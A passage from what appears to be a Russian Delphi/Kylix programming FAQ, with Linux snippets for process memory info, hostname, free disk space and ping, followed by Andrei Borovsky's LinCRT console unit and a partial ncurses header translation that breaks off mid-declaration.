        assignFile(f,'/proc/'+Pid+'/status');
        reset(f);
        while not eof(f) do
          begin
            readln(f, s);
            if pos('VmSize', s)>0 then VmSize:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmLck', s)>0 then VmLck:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmRSS', s)>0 then VmRSS:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmData', s)>0 then VmData:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmStk', s)>0 then VmStk:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmExe', s)>0 then VmExe:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('VmLib', s)>0 then VmLib:=GetBefore(' ',trim(GetAfter(':',s)));
            if pos('Name', s)>0 then ProcName:=trim(GetAfter(':',s));
          end;
      finally
        closefile(f);
      end;
    finally
      FileMode:=2;
    end;
    Result:=True;
  except
  end;
end;

Примечание - функция может и не сработать, какие-то мгновения файл недоступен по чтению, выход - повторить процедуру.

Более подробную информацию можно получить запустив в консоле:

man proc

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как узнать имя компьютера?

Uses Libc;

Function GetPCName:string;
var Name:PChar;
    Len:Cardinal;
begin
  Len:=255;
  GetMem(Name, Len);
  gethostname(Name, Len);
  Result:=String(Name);
  FreeMem(Name);
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как узнать свободное место на диске?

В коде используется функция ExecCmdine из статьи: Как запустить консольное приложение и перехватить вывод?

Function GetFreeSpace(Share:string):integer; {in Kb}
  var t:TstringList;
      i:integer;
      temp:string;
      mesure:char;
      multi:integer;
      f:real;
  function getbefore(substr, str:string):string;
  begin
    if pos(substr,str)>0 then result:=copy(str,1,pos(substr,str)-1)
    else result:='';
  end;

  function getafter(substr, str:string):string;
  begin
    if pos(substr,str)>0 then result:=copy(str,pos(substr,str)+length(substr),length(str))
    else result:='';
  end;
begin
  Result:=-1;
  t:=TstringList.Create;
  ExecCmdine('df -h', t);
  For i:=0 to t.Count-1 do
    if pos(Share, t[i])=1 then
      begin
        temp:=trim(GetAfter(Share, t[i]));
        temp:=trim(GetAfter(' ', temp));
        temp:=trim(GetAfter(' ', temp));
        temp:=trim(GetBefore(' ', temp));
        if temp='' then exit;
        mesure:=temp[length(temp)];
        Case mesure of
          'G','g':multi:=1024*1024;
          'M','m':multi:=1024;
          'K','k':multi:=1;
          else multi:=0;
        end;
        try
          f:=strtofloat(copy(temp,1,length(temp)-1));
        except
          f:=0;
        end;
        result:=Round(f*multi);
      end;
end;

Использование:

Function GetFreeSpace('/dev/hda5')

Примечание - под отладчиком Kylix код может не работать. Надо запускать приложение не под Kylix для того чтобы удостовериться что код работает.

Более подробную информацию можно получить запустив в консоле:

man df

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как сделать Ping?

В коде используется функция ExecCmdine из статьи: Как запустить консольное приложение и перехватить вывод?

Function Ping(host:string):boolean;
  var  params, CommandLine:string;
       t:TStringList;
       i:integer;
begin
  Params := Format('-s%d ', [32]);
  Params := Params+Format('-c%d ', [1]);
  CommandLine := Format('ping %s%s', [Params, host]);
  t:=TStringList.Create;
  ExecCmdine(CommandLine, t);
  Result:=pos('1 received, 0% packet loss', t.text)>0;
  t.free;
end;

Примечание - под отладчиком Kylix код может не работать. Надо запускать приложение не под Kylix для того чтобы удостовериться что код работает.

Более подробную информацию можно получить запустив в консоле:

man ping

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Модуль CRT для Linux

{
  LinCRT Kylix unit v 1.0
  Author: Andrei Borovsky, aborovsky@mtu-net.ru
  Copyright (c) 2002 Andrei Borovsky
  Permission is hereby granted, free of charge, to any person obtaining a
  copy of this software and associated documentation files (the
  "Software"), to deal in the Software without restriction, including
  without limitation the rights to use, copy, modify, merge, publish,
  distribute, distribute with modifications, sublicense, and/or sell
  copies of the Software, and to permit persons to whom the Software is
  furnished to do so, subject to the following conditions:
  The above copyright notice and this permission notice shall be included
  in all copies or substantial portions of the Software.
  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESSED

  OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
  MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
  IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
  DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
  OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
  THE USE OR OTHER DEALINGS IN THE SOFTWARE.

  Except as contained in this notice, the name(s) of the above copyright
  holders shall not be used in advertising or otherwise to promote the
  sale, use or other dealings in this Software without prior written
  authorization.
}

unit LinCRT;

interface

uses
  Libc, NCurses;

const

// Pseudocharacter values returned by GetKey

  BS = 127; // Backspace
  LF = 10;
  TAB = 9;
  ESC = 27;

  kLArrow = 260;
  kRArrow = 261;
  kDArrow = 258;
  kUArrow = 259;
  kHome = 262;
  kBkSp = 263;  // Another Backspace code. Curses.h
                // says this value is unreliable (true ;-))
  kEnd = 264;
  kF1 = 265;
  kF2 = 266;
  kF3 = 267;
  kF4 = 268;
  kF5 = 269;
  kF6 = 270;
  kF7 = 271;
  kF8 = 272;
  kF9 = 273;
  kF10 = 274;
  kF11 = 275;
  kF12 = 276;
  kDel = 330;
  kIns = 331;
  kPgDn = 338;
  kPgUp = 339;

  mLButtonDown = 501;
  mLButtonUp = 502;
  mLButtonClk = 503;
  mLButtonDblClk = 504;
  mMButtonDown = 505;
  mMButtonUp = 506;
  mMButtonClk = 507;
  mMButtonDblClk = 508;
  mRButtonDown = 509;
  mRButtonUp = 510;
  mRButtonClk = 511;
  mRButtonDblClk = 512;
  mMouseMoved = 561;  // not supported yet

// Color constants

  Black = 0;
  Red = 1;
  Green = 2;
  Brown = 3;
  Blue = 4;
  Magenta = 5;
  Cyan = 6;
  Gray = 7;
  LightGray = 7;
  DarkGray = 7;
  LightRed = 9;
  LightGreen = 10;
  Yellow = 11;
  LightBlue = 12;
  LightMagenta = 13;
  LightCyan = 14;
  White = 15;
  Blink = 128;

// Additional attributes constants
// (as returned by GetAddAttrXY)
  aUnderline = 2;
  aInverse = 4;

type

  TOnTermResizeProc = procedure(DoingInput : Boolean);

var

  StdScr, CurWnd : PWINDOW;
  OnTermResize : TOnTermResizeProc;
  ScrCols, ScrLines : Integer;
  WindMin, WindMax : Integer;
  TextAttr : Byte;
  Inverse, Underline : Boolean;
  ScrollWnd : Boolean;
  BreakOnResize, Broken  : Boolean;

  // Clears up to the end of the current line
  procedure ClrEol;
  // Clears current window
  procedure ClrScr;
  // Deletes current character
  procedure DelChar;
  //  Deletes current line
  procedure DelLine;
  // Finishes with LinCRT
  procedure DoneLinCRT;
  // Returns additional attributes
  function GetAddAttrXY(X, Y : Byte) : Byte;
  // Returns character at the specified position
  function GetCharXY(X, Y : Byte) : Char;
  // Returns character color at the specified position
  function GetColorXY(X, Y : Byte) : Byte;
  // Reads the key from the mouse or keyboard
  function GetKey : Word;
  // Sets the cursor position within the current window
  procedure GotoXY(X, Y : Byte);
  // Initializes the library
  procedure InitLinCRT;
  // Initializes mouse handling
  procedure InitMouse;
  // Inserts character in the current position
  procedure InsChar(Ch : Char);
  // Inserts new line in the current position
  procedure InsLine;
  // Determines if the key has been pressed
  function KeyPressed : Boolean;
  // Finishes mouse handling
  procedure KillMouse;
  // Checks if the mouse event occured within the current winodw
  function MouseTrapped : Boolean;
  // Puts character in the current position
  procedure PutChar(Ch : Char);
  // Puts character in the position X, Y
  procedure PutCharXY(Ch : Char; X, Y : Byte);
  // Reads the key from the keyboard
  function ReadKey : Char;
  // Sets or disables window scrollng
  procedure SetScrollWnd(b : Boolean);
  // Sets text and background colors
  procedure SetColors(Fg, Bg : Byte);
  // Starts the copy of the shell
  procedure ShellOut(Cmd : PChar);
  // Sets background color
  procedure TextBackground(Color : Byte);
  // Sets text color
  procedure TextColor(Color : Byte);
  // Returns the mouse position at the last mouse event
  function WhereMouseXY : Word;
  // Returns the curent X position
  function WhereX : Byte;
  // Returns the curent Y position
  function WhereY : Byte;
  // Opens the new window
  procedure Window(X1, Y1, X2, Y2 : Byte);

implementation

const

  BUF_SIZE = 1024;
  STACK_SIZE = 64;  // This value is the number of color pairs
                    // supported by ncurses

type

  TXtAttr = record
    Fg, Bg,
    PairNum : Byte;
  end;

var

  IOBuf : array[0..BUF_SIZE] of Byte;
  PairStack : array[0..STACK_SIZE-1] of TXtAttr;
  StackHead : Integer;
  MouseEvent : MEVENT;
  SpKey : Byte;
  DoingInput, Intr : Boolean;

// Internal routines

  procedure winch_handler( SigNum : Integer); stdcall;
  begin
    if BreakOnResize then Intr := True;
    endwin;
    wrefresh(StdScr);
    ScrCols := StdScr._maxx;
    ScrLines := StdScr._maxy;
    if CurWnd <> StdScr then delwin(CurWnd);
    endwin;
    wrefresh(StdScr);
    CurWnd :=StdScr;
    if Assigned(OnTermResize) then OnTermResize(DoingInput);
  end;

  function GetPair(Fg, Bg : Byte) : Integer;
  var
    i, Pos : Integer;
  begin
    Pos := -1;
    for i := 0 to StackHead do
    if (PairStack[i].Fg = Fg) and (PairStack[i].Bg = Bg) then
    begin
      Pos := i;
      Break;
    end;
    if Pos < 0 then
    begin
      Pos := StackHead;
      if StackHead < (STACK_SIZE - 1) then
      begin
        Inc(StackHead);
        init_pair(StackHead+1, Fg, Bg);
        PairStack[StackHead].PairNum := StackHead+1;
        PairStack[StackHead].Fg := Fg;
        PairStack[StackHead].Bg := Bg;
        Pos := StackHead;
      end;
    end;
    Result := PairStack[Pos].PairNum;
  end;

  procedure SetAttrs;
  var
    Pn : Integer;
  begin
    Pn := GetPair(TextAttr and 7, (TextAttr and 112) shr 4);
    wattrset(CurWnd, COLOR_PAIR(Pn));
    CurWnd._bkgd := (Pn shl 8) + 32;
    if (TextAttr and 128) <> 0 then
    set_attr(CurWnd, A_BLINK);
    if (TextAttr and 8) <> 0 then
    set_attr(CurWnd, A_BOLD);
    if Underline then set_attr(CurWnd, A_UNDERLINE);
    if Inverse then set_attr(CurWnd, A_REVERSE);
  end;

  function TranslateMEvent : Word;
  begin
    case MouseEvent.bstate of
      BUTTON1_RELEASED : Result := mLButtonUp;
      BUTTON1_PRESSED : Result := mLButtonDown;
      BUTTON1_CLICKED : Result := mLButtonClk;
      BUTTON1_DOUBLE_CLICKED : Result := mLButtonDblClk;
      BUTTON2_RELEASED : Result := mRButtonUp;
      BUTTON2_PRESSED : Result := mRButtonDown;
      BUTTON2_CLICKED : Result := mRButtonClk;
      BUTTON2_DOUBLE_CLICKED : Result := mRButtonDblClk;
      BUTTON3_RELEASED : Result := mMButtonUp;
      BUTTON3_PRESSED : Result := mMButtonDown;
      BUTTON3_CLICKED : Result := mMButtonClk;
      BUTTON3_DOUBLE_CLICKED : Result := mMButtonDblClk;
      REPORT_MOUSE_POSITION : Result := mMouseMoved;
    end;
  end;

  procedure DefineKey(c1, c2, c3 : Byte; Code : Word);
  var
    Seq : array[0..4] of Byte;
  begin
    Seq[0] := 27;
    Seq[1] := c1;
    Seq[2] := c2;
    Seq[3] := c3;
    Seq[4] := 0;
    define_key(@Seq[0], Code);
  end;

(*
 Here we initiate some pseudocharacter values that
 for some reason are not initiated by ncurses itself
 (at leas on my system). You may add/remove some
 key definitions here, if your program requires this.
 Note, that on any terminal there is a sequence that
 will not be enterpreted correctly.
*)

  procedure DefineKeys;
  begin
    DefineKey(91, 91, 65, kF1);
    DefineKey(91, 91, 66, kF2);
    DefineKey(91, 91, 67, kF3);
    DefineKey(91, 91, 68, kF4);
    DefineKey(91, 91, 69, kF5);
    DefineKey(91, 70, 0, kEnd);
    DefineKey(91, 72, 0, kHome);
    DefineKey(91, 49, 126, kHome);
    DefineKey(91, 52, 126, kEnd);
  end;

  function TranslateCodes(C : Word) : Byte;
  begin
    case C of
      kF1 : Result := 59;
      kF2 : Result := 60;
      kF3 : Result := 61;
      kF4 : Result := 62;
      kF5 : Result := 63;
      kF6 : Result := 64;
      kF7 : Result := 65;
      kF8 : Result := 66;
      kF9 : Result := 67;
      kF10 : Result := 68;
      kF11 : Result := 69;
      kF12 : Result := 70;
      kHome : Result := 71;
      kUArrow : Result := 72;
      kPgUp : Result := 73;
      kLArrow : Result := 75;
      kRArrow : Result := 77;
      kEnd : Result := 79;
      kDArrow : Result := 80;
      kPgDn : Result := 81;
      kIns : Result := 82;
      kDel : Result := 83;
      else Result := 0;
    end;
  end;

  function wread(Win : PWINDOW; Buf : PChar; n : Integer) : Integer;
  var
    tx, ty : Word;
    Count, ch : Integer;
  begin
    Intr := False;
    Broken := False;
    noecho;
    cbreak;
    nodelay(Win, True);
    Count := 0;
    tx := Win._curx;
    ty := Win._cury;
    waddch(Win, 32);
    Win._cury := ty;
    Win._curx := tx;
    wrefresh(Win);
    ch := 0;
    while ch <> 10 do
    begin
      if Intr then
      begin
        Result := 0;
        Broken := True;
        Buf[Count] := #0;
        Exit;
      end;
      ch := wgetch(Win);
      case ch of
        32..126, 128..255 :
        begin
          waddch(Win, ch);
          tx := Win._curx;
          ty := Win._cury;
          waddch(Win, 32);
          Win._cury := ty;
          Win._curx := tx;
          wrefresh(Win);
          Buf[Count] := Char(Lo(ch));
          Inc(Count);
          if Count = (n - 1) then
          begin
            Buf[Count] := #0;
            Result := 0;
            Exit;
          end;
        end;
        BS, kBkSp, kLArrow :
        begin
          tx := Win._curx;
          ty := Win._cury;
          if Count > 0 then
          begin
            if tx > 0 then Dec(tx)
            else if ty > 0 then
            begin
              Dec(ty);
              tx := Win._maxx;
            end;
            Win._curx := tx;
            Win._cury := ty;
            waddch(Win, 32);
            Win._curx := tx;
            Win._cury := ty;
            wrefresh(Win);
            Dec(Count);
          end;
        end;
      end;
    end;
    Buf[Count] := #0;
    waddch(Win, 10);
    Result := 0;
  end;

// Text file driver routines

  function NCInOut(var F : Text) : Integer;
  begin
    SetAttrs;
    with TTextRec(F) do
    begin
      if Mode = fmOutput then
      begin
        IOBuf[BufPos] := 0;
        waddstr(CurWnd, @IOBuf[0]);
        BufPos := 0;
        Result := 0;
      end else
      if Mode = fmInput then
      begin
        DoingInput := True;
        echo;
        nocbreak;
        nodelay(CurWnd, False);
        //wgetnstr(CurWnd, @IOBuf[0], BUF_SIZE-2);
        wread(CurWnd, @IOBuf[0], BUF_SIZE-1);
        BufEnd := __strlen(@IOBuf[0])+1;
        if BufEnd < BUF_SIZE then IOBuf[BufEnd-1] := 10;
        BufPos := 0;
        noecho;
        cbreak;
        nodelay(CurWnd, True);
        DoingInput := False;
        Result := 0;
      end;
    end;
  end;

  function NCFlush(var F : Text) : Integer;
  begin
    with TTextRec(F) do
    begin
      if Mode = fmOutput then
      begin
        SetAttrs;
        IOBuf[BufPos] := 0;
        waddstr(CurWnd, @IOBuf[0]);
        wrefresh(CurWnd);
        BufPos := 0;
      end else
      begin
        BufEnd := 0;
        FillChar(IOBuf[0], BUF_SIZE, 0);
        BufPos := 0;
      end;
    end;
    Result := 0;
  end;

  function NCClose(var F : Text) : Integer;
  begin
    TTextRec(F).Mode := fmClosed;
    Result := 0;
  end;

  function NCOpen(var F : Text) : Integer;
  begin
    with TTextRec(F) do
    begin
      if Mode = fmInOut then Mode := fmOutput;
      InOutFunc := @NCInOut;
      FlushFunc := @NCFlush;
      CloseFunc := @NCClose;
      Result:=0;
    end;
    Result := 0;
  end;

  procedure AssignLinCRT(var F : Text);
  begin
    with TTextRec(F) do
    begin
      Mode := fmClosed;
      BufSize := BUF_SIZE;
      BufPtr := @IOBuf[0];
      OpenFunc := @NCOpen;
      InOutFunc := nil;
      FlushFunc := nil;
      CloseFunc := nil;
      Name[0] := #0;
    end;
  end;

// Public LinCRT routines

  procedure ClrEol;
  begin
    SetAttrs;
    wclrtoeol(CurWnd);
    wrefresh(CurWnd);
  end;

  procedure ClrScr;
  begin
    SetAttrs;
    wclear(CurWnd);
  end;

  procedure DelChar;
  begin
    wdelch(CurWnd);
    wrefresh(CurWnd);
  end;

  procedure DelLine;
  begin
    wdeleteln(CurWnd);
    wrefresh(CurWnd);
  end;

  procedure DoneLinCRT;
  begin
    endwin;
  end;

  function GetAddAttrXY(X, Y : Byte) : Byte;
  var
    tx, ty : Integer;
  begin
    tx := CurWnd._curx;
    ty := CurWnd._cury;
    CurWnd._curx := X - 1;
    CurWnd._cury := Y - 1;
    Result := Lo(winch(CurWnd) shr 16);
    CurWnd._curx := tx;
    CurWnd._cury := ty;
  end;

  function GetCharXY(X, Y : Byte) : Char;
  var
    tx, ty : Integer;
  begin
    tx := CurWnd._curx;
    ty := CurWnd._cury;
    CurWnd._curx := X - 1;
    CurWnd._cury := Y - 1;
    Result := Char(Lo(winch(CurWnd)));
    CurWnd._curx := tx;
    CurWnd._cury := ty;
  end;

  function GetColorXY(X, Y : Byte) : Byte;
  var
    tx, ty : Integer;
  begin
    tx := CurWnd._curx;
    ty := CurWnd._cury;
    CurWnd._curx := X - 1;
    CurWnd._cury := Y - 1;
    Result := Lo(winch(CurWnd) shr 8);
    CurWnd._curx := tx;
    CurWnd._cury := ty;
  end;

  function GetKey : Word;
  var
    Key : Integer;
  begin
 // If You have some problems with GetKey,
 // see the note above the DefineKeys procedure
    noecho;
    nodelay(CurWnd, False);
    cbreak;
    Key := wgetch(CurWnd);
    if Key = KEY_MOUSE then
    begin
      getmouse(MouseEvent);
      Key := TranslateMEvent;
    end;
    Result := Key;
  end;

  procedure GotoXY(X, Y : Byte);
  begin
    if (X > 0) and (X < (CurWnd._maxx+2)) then
    CurWnd._curx := X - 1;
    if (Y > 0) and (Y < (CurWnd._maxy+2)) then
    CurWnd._cury := Y - 1;
    wrefresh(CurWnd);
    // wmove(CurWnd, Y-1, X-1);
  end;

  procedure InitLinCRT;
  begin
    StdScr := initscr;
    ScrCols := StdScr._maxx;
    ScrLines := StdScr._maxy;
    CurWnd := StdScr;
    WindMin := Lo(CurWnd._begx) + (Lo(CurWnd._begy) shl 8);
    WindMax := Lo(CurWnd._maxx) + (Lo(CurWnd._maxy) shl 8);
    start_color;
    OnTermResize := nil;
    signal(SIGWINCH, @winch_handler);
    TextAttr := 7;
    Inverse := False;
    Underline := False;
    StackHead := -1;
    BreakOnResize := False;
    Broken := False;
    DoingInput := False;
    ScrollWnd := True;
    AssignLinCRT(Input);
    Reset(Input);
    AssignLinCRT(Output);
    ReWrite(Output);
    keypad(StdScr, True);
    DefineKeys;
    SpKey := 0;
    Intr := False;
  end;

  procedure InitMouse;
  var
    mask, oldmask : Integer;
  begin
    mask := BUTTON1_RELEASED or BUTTON1_PRESSED or BUTTON1_CLICKED or
    BUTTON1_DOUBLE_CLICKED;
    mask := mask or BUTTON2_RELEASED or BUTTON2_PRESSED or BUTTON2_CLICKED or
    BUTTON2_DOUBLE_CLICKED;
    mask := mask or BUTTON3_RELEASED or BUTTON3_PRESSED or BUTTON3_CLICKED or
    BUTTON3_DOUBLE_CLICKED;
//    if TrackMove then mask := mask or REPORT_MOUSE_POSITION;
    mousemask(mask, oldmask);
  end;

  procedure InsChar(Ch : Char);
  begin
    SetAttrs;
    winsch(CurWnd, Integer(Ch));
    wrefresh(CurWnd);
  end;

  procedure InsLine;
  begin
    SetAttrs;
    winsdelln(CurWnd, 1);
    wrefresh(CurWnd);
  end;

  function KeyPressed : Boolean;
  var
    ch : chtype;
  begin
    noecho;
    nodelay(CurWnd, True);
    cbreak;
    Result := False;
    ch := wgetch(CurWnd);
    if ch <> ERR then
    begin
      ungetch(ch);
      Result := True;
    end;
  end;

  procedure KillMouse;
  var
    oldmask : Integer;
  begin
    mousemask(0, oldmask);
  end;

  function MouseTrapped : Boolean;
  begin
    Result := wenclose(CurWnd, MouseEvent.y, MouseEvent.x);
  end;

  procedure PutChar(Ch : Char);
  var
    tx, ty : Integer;
  begin
    scrollok(CurWnd, False);
    tx := CurWnd._curx;
    ty := CurWnd._cury;
    SetAttrs;
    waddch(CurWnd, Byte(Ch));
    CurWnd._curx := tx;
    CurWnd._cury := ty;
    wrefresh(CurWnd);
    scrollok(CurWnd, ScrollWnd);
  end;

  procedure PutCharXY(Ch : Char; X, Y : Byte);
  var
    tx, ty : Integer;
  begin
    scrollok(CurWnd, False);
    tx := CurWnd._curx;
    ty := CurWnd._cury;
    CurWnd._curx := X-1;
    CurWnd._cury := Y-1;
    SetAttrs;
    waddch(CurWnd, Byte(Ch));
    CurWnd._curx := tx;
    CurWnd._cury := ty;
    wrefresh(CurWnd);
    scrollok(CurWnd, ScrollWnd);
  end;

  function ReadKey : Char;
  var
    ch : chtype;
  begin
    if SpKey <> 0 then
    begin
      Result := Char(SpKey);
      SpKey := 0;
      Exit;
    end;
    noecho;
    nodelay(CurWnd, False);
    cbreak;
    ch := wgetch(CurWnd);
    if ch > 255 then
    begin
      SpKey := TranslateCodes(ch);
      ch := 0;
    end;
    Result := Char(Lo(ch));
  end;

  procedure SetColors(Fg, Bg : Byte);
  begin
    TextAttr := TextAttr and (255 - 112);
    TextAttr := TextAttr or (Bg shl 4);
    if Fg = Blink then TextAttr := TextAttr or Blink
    else
    begin
      TextAttr := TextAttr and 127;
      TextAttr := TextAttr and (255 - 15);
      TextAttr := TextAttr or Fg;
    end;
  end;

  procedure SetScrollWnd(b : Boolean);
  begin
    ScrollWnd := b;
    scrollok(CurWnd, ScrollWnd);
  end;

  procedure ShellOut(Cmd : PChar);
  begin
    def_prog_mode;
    endwin;
    Libc.system(Cmd);
    wrefresh(StdScr);
    wrefresh(CurWnd);
  end;

  procedure TextBackground(Color : Byte);
  begin
    TextAttr := TextAttr and (255 - 112);
    TextAttr := TextAttr or (Color shl 4);
  end;

  procedure TextColor(Color : Byte);
  begin
    if Color = Blink then TextAttr := TextAttr or Blink
    else
    begin
      TextAttr := TextAttr and 127;
      TextAttr := TextAttr and (255 - 15);
      TextAttr := TextAttr or Color;
    end;
  end;

  function WhereMouseXY : Word;
  var
    X, Y : Integer;
  begin
    X := MouseEvent.x;
    Y := MouseEvent.y;
    wmouse_trafo(StdScr, Y, X, False);
    Result := Lo(X) +1  + ((Lo(Y) + 1) shl 8);
  end;

  function WhereX : Byte;
  begin
    Result := Lo(CurWnd._curx + 1);
  end;

  function WhereY : Byte;
  begin
    Result := Lo(CurWnd._cury + 1);
  end;

  procedure Window(X1, Y1, X2, Y2 : Byte);
  var
    Tmp : PWINDOW;
  begin
    Tmp := CurWnd;
    CurWnd := newwin(Y2-Y1+1, X2-X1+1, Y1-1, X1-1);
    if CurWnd = nil then CurWnd := Tmp
    else if Tmp <> StdScr then delwin(Tmp);
    WindMin := Lo(CurWnd._begx) + (Lo(CurWnd._begy) shl 8);
    WindMax := Lo(CurWnd._maxx) + (Lo(CurWnd._maxy) shl 8);
    scrollok(CurWnd, ScrollWnd);
    SetAttrs;
    keypad(CurWnd, True)
  end;

initialization
// dummy

finalization

  endwin;

end.

{*********************************************}
{  ncurses interface unit

  Parts of this file are translated from ncurses header file curses.h
  Copyright (c) 1998,1999,2000 Free Software Foundation, Inc.
  Translator: Andrei Borovsky - aborovsky@mtu-net.ru

  This traslation is by no means complete.
  I have included here only those ncurses functions that
  are used (or are planned to be used) in my LinCRT unit.
  I have also added here some routines and constants that
  I've found useful with ncurses.
}

unit NCurses;

interface

const

  ERR = -1;
  {$EXTERNALSYM ERR}
  OK = 0;
  {$EXTERNALSYM OK}
  KEY_MOUSE = $199;
  {$EXTERNALSYM KEY_MOUSE}

  BUTTON1_RELEASED = $1;
  {$EXTERNALSYM BUTTON1_RELEASED}
  BUTTON1_PRESSED = $2;
  {$EXTERNALSYM BUTTON1_PRESSED}
  BUTTON1_CLICKED = $4;
  {$EXTERNALSYM BUTTON1_CLICKED}
  BUTTON1_DOUBLE_CLICKED = $8;
  {$EXTERNALSYM BUTTON1_DOUBLE_CLICKED}
  BUTTON2_RELEASED = $40;
  {$EXTERNALSYM BUTTON2_RELEASED}
  BUTTON2_PRESSED = $80;
  {$EXTERNALSYM BUTTON2_PRESSED}
  BUTTON2_CLICKED = $100;
  {$EXTERNALSYM BUTTON2_CLICKED}
  BUTTON2_DOUBLE_CLICKED = $200;
  {$EXTERNALSYM BUTTON2_DOUBLE_CLICKED}
  BUTTON3_RELEASED = $1000;
  {$EXTERNALSYM BUTTON3_RELEASED}
  BUTTON3_PRESSED = $2000;
  {$EXTERNALSYM BUTTON3_PRESSED}
  BUTTON3_CLICKED = $4000;
  {$EXTERNALSYM BUTTON3_CLICKED}
  BUTTON3_DOUBLE_CLICKED = $8000;
  {$EXTERNALSYM BUTTON3_DOUBLE_CLICKED}
  REPORT_MOUSE_POSITION = $8000000;
  {$EXTERNALSYM REPORT_MOUSE_POSITION}

  COLOR_BLACK = 0;
  {$EXTERNALSYM COLOR_BLACK}
  COLOR_RED = 1;
  {$EXTERNALSYM COLOR_RED}
  COLOR_GREEN = 2;
  {$EXTERNALSYM COLOR_GREEN}
  COLOR_YELLOW = 3;
  {$EXTERNALSYM COLOR_YELLOW}
  COLOR_BLUE = 4;
  {$EXTERNALSYM COLOR_BLUE}
  COLOR_MAGENTA = 5;
  {$EXTERNALSYM COLOR_MAGENTA}
  COLOR_CYAN = 6;
  {$EXTERNALSYM COLOR_CYAN}
  COLOR_WHITE = 7;
  {$EXTERNALSYM COLOR_WHITE}

  A_STANDOUT = 1 shl 16;
  {$EXTERNALSYM A_STANDOUT}
  A_UNDERLINE = 1 shl 17;
  {$EXTERNALSYM A_UNDERLINE}
  A_REVERSE = 1 shl 18;
  {$EXTERNALSYM A_REVERSE}
  A_BLINK = 1 shl 19;
  {$EXTERNALSYM A_BLINK}
  A_DIM = 1 shl 20;
  {$EXTERNALSYM A_DIM}
  A_BOLD = 1 shl 21;
  {$EXTERNALSYM A_BOLD}
  A_ALTCHARSET = 1 shl 22;
  {$EXTERNALSYM A_ALTCHARSET}
  A_INVIS = 1 shl 23;
  {$EXTERNALSYM A_INVIS}

type

  chtype = Integer;
  {$EXTERNALSYM chtype}
  PChtype = ^chtype;
  attr_t = chtype;
  {$EXTERNALSYM attr_t}
  NCURSES_COLOR_T = Word;
  {$EXTERNALSYM NCURSES_COLOR_T}
  NCURSES_SIZE_T = Word;
  {$EXTERNALSYM NCURSES_SIZE_T}
  mmask_t = Integer;
  {$EXTERNALSYM mmask_t}

  MEVENT = record
    id : Word;
    x, y, z : Integer;
    bstate : mmask_t;
  end;
  {$EXTERNALSYM MEVENT}

  ldat = record
    text : PChtype;
    firstchar : NCURSES_SIZE_T;
    lastchar : NCURSES_SIZE_T;
    oldindex : NCURSES_SIZE_T;
  end;
  {$EXTERNALSYM ldat}

  PLdat = ^ldat;

  pdat = record
    _pad_y, _pad_x : NCURSES_SIZE_T;
    _pad_top, _pad_left : NCURSES_SIZE_T;
    _pad_bottom, _pad_right : NCURSES_SIZE_T;
  end;
  {$EXTERNALSYM pdat}

  PWINDOW = ^_win_st;
  _win_st = record
    _cury, _curx : NCURSES_SIZE_T;
    _maxy, _maxx : NCURSES_SIZE_T;
    _begy, _begx : NCURSES_SIZE_T;
    _flags : Word;
    _attrs : attr_t;
    _bkgd : chtype;
    _notimeout : Boolean;
    _clear : Boolean;
    _leaveok : Boolean;
    _scroll : Boolean;
    _idlok : Boolean;
    _idcok : Boolean;
    _immed : Boolean;
    _sync : Boolean;
    _use_keypad : Boolean;
    _delay : Integer;
    _line : PLdat;
    _regtop : NCURSES_SIZE_T;
    _regbottom : NCURSES_SIZE_T;
    _parx : Integer;
    _pary : Integer;
    _parent : PWINDOW;
    _pad : pdat;
    _yoffset : NCURSES_SIZE_T;
  end;
  {$EXTERNALSYM _win_st}

  WINDOW = _win_st;
  {$EXTERNALSYM WINDOW}

  function cbreak : Integer; cdecl;
  {$EXTERNALSYM cbreak}
  function COLOR_PAIR(n : Integer) : Integer;
  function def_prog_mode : Integer; cdecl;
  {$EXTERNALSYM def_prog_mode}
  function define_key(definitions : PChar; keycode : Integer) : Integer; cdecl;
  {$EXTERNALSYM define_key}
  function delwin(win : PWINDOW) : Integer; cdecl;
  {$EXTERNALSYM delwin}
  function echo : Integer; cdecl;
  {$EXTERNALSYM echo}
  function endwin : Integer; cdecl;
  {$EXTERNALSYM endwin}
  function erasechar : Integer; cdecl;
  {$EXTERNALSYM erasechar}
  function getmouse(var event : MEVENT) : Integer; cdecl;
  {$EXTERNALSYM getmouse}
  function getyx(win : PWINDOW; var y, x : Word) : Integer;
  {$EXTERNALSYM getyx}
  function init_pair(pair, f, b : Word) : Integer; cdecl; //i
  {$EXTERNALSYM init_pair}
  function initscr : PWINDOW; cdecl;
  {$EXTERNALSYM initscr}
  function keypad(win : PWINDOW; b : Boolean) : Integer; cdecl;
  {$EXTERNALSYM keypad}
  function leaveok(win : PWINDOW; b : Boolean) : Integer; cdecl;
  {$EXTERNALSYM leaveok}
  function mousemask(newmask : mmask_t; var oldmask : mmask_t) : mmask_t; cdecl;
  {$EXTERNALSYM mousemask}
  function mvwaddch(win : PWINDOW; y, x : Integer; ch : chtype) : Integer; cdecl;
  {$EXTERNALSYM mvwaddch}
  function mvwin(win : PWINDOW; y, x : Integer) : Integer; cdecl;
  {$EXTERNALSYM mvwin}
  function NCURSES_BITS(mask, shift : Integer) : Integer;
  function newwin(nlines, ncols, begin_y, begin_x : Integer) : PWINDOW; cdecl;
  {$EXTERNALSYM newwin}
  function nl : Integer; cdecl;
  {$EXTERNALSYM nl}
  function nocbreak : Integer; cdecl;
  {$EXTERNALSYM nocbreak}
  function nodelay(win : PWINDOW; b : Boolean) : Integer; cdecl;
  {$EXTERNALSYM nodelay}
